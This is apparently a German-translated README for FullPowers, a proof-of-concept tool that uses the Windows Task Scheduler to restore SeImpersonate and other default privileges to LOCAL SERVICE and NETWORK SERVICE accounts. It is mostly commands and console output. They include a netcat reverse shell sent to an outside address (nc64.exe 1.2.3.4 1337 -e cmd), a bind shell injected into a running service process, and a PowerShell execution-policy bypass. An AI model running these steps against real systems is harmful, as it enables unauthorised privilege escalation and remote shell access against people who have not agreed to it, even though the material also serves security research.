
Den standardmäßigen Berechtigungssatz eines LOCAL/NETWORK SERVICE-Kontos wiederherstellen.
FullPowers ist ein Proof-of-Concept-Tool, das ich entwickelt habe, um automatisch den Standardberechtigungssatz eines Dienstkontos wiederherzustellen, einschließlich SeAssignPrimaryToken und SeImpersonate.
Unter Windows werden einige Dienste, die als LOCAL SERVICE oder NETWORK SERVICE ausgeführt werden, so konfiguriert, dass sie mit einem eingeschränkten Satz von Berechtigungen laufen. Daher erhalten Sie, selbst wenn der Dienst kompromittiert ist, nicht die goldenen Impersonierungsberechtigungen und die Rechteausweitung auf LOCAL SYSTEM sollte komplizierter sein. Ich habe jedoch festgestellt, dass bei der Erstellung einer geplanten Aufgabe der neue Prozess, der vom Taskplaner-Dienst erstellt wird, über alle Standardberechtigungen des zugehörigen Benutzerkontos verfügt (außer SeImpersonate). Daher können Sie mit einigen Token-Manipulationen einen neuen Prozess mit allen fehlenden Berechtigungen starten.
For more information: https://itm4n.github.io/localservice-privileges/
⚠️ Dieses Tool sollte nur als LOCAL SERVICE oder NETWORK SERVICE ausgeführt werden.
Sie können die Hilfemeldung mit der Option -h anzeigen.
c:\TOOLS>FullPowers -h
FullPowers v0.1 (by @itm4n)
This tool leverages the Task Scheduler to recover the default privilege set of a service account.
For more information: https://itm4n.github.io/localservice-privileges/
Optional arguments:
-v Verbose mode, used for debugging essentially
-c <CMD> Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
-x Try to get the extended set of privileges (might fail with NETWORK SERVICE)
-z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:\TOOLS>FullPowers
[+] Successfully created scheduled task. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Successfully created scheduled task. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Successfully created scheduled task. PID=5482
[+] CreateProcessAsUser() OK
Sie möchten diesen PoC selbst testen? Großartig! Hier sind einige einfache Anweisungen für den Einstieg.
Die grundlegende Idee ist, eine Bind-Shell aus dem Prozess eines vorhandenen Dienstes zu starten, eine Verbindung herzustellen und dann die ausführbare Datei auszuführen.
upnphost.C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\TOOLS>FullPowers
[+] Started dummy thread with id 5568
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Sie sollten jetzt eine Shell mit Impersonierungsberechtigungen haben!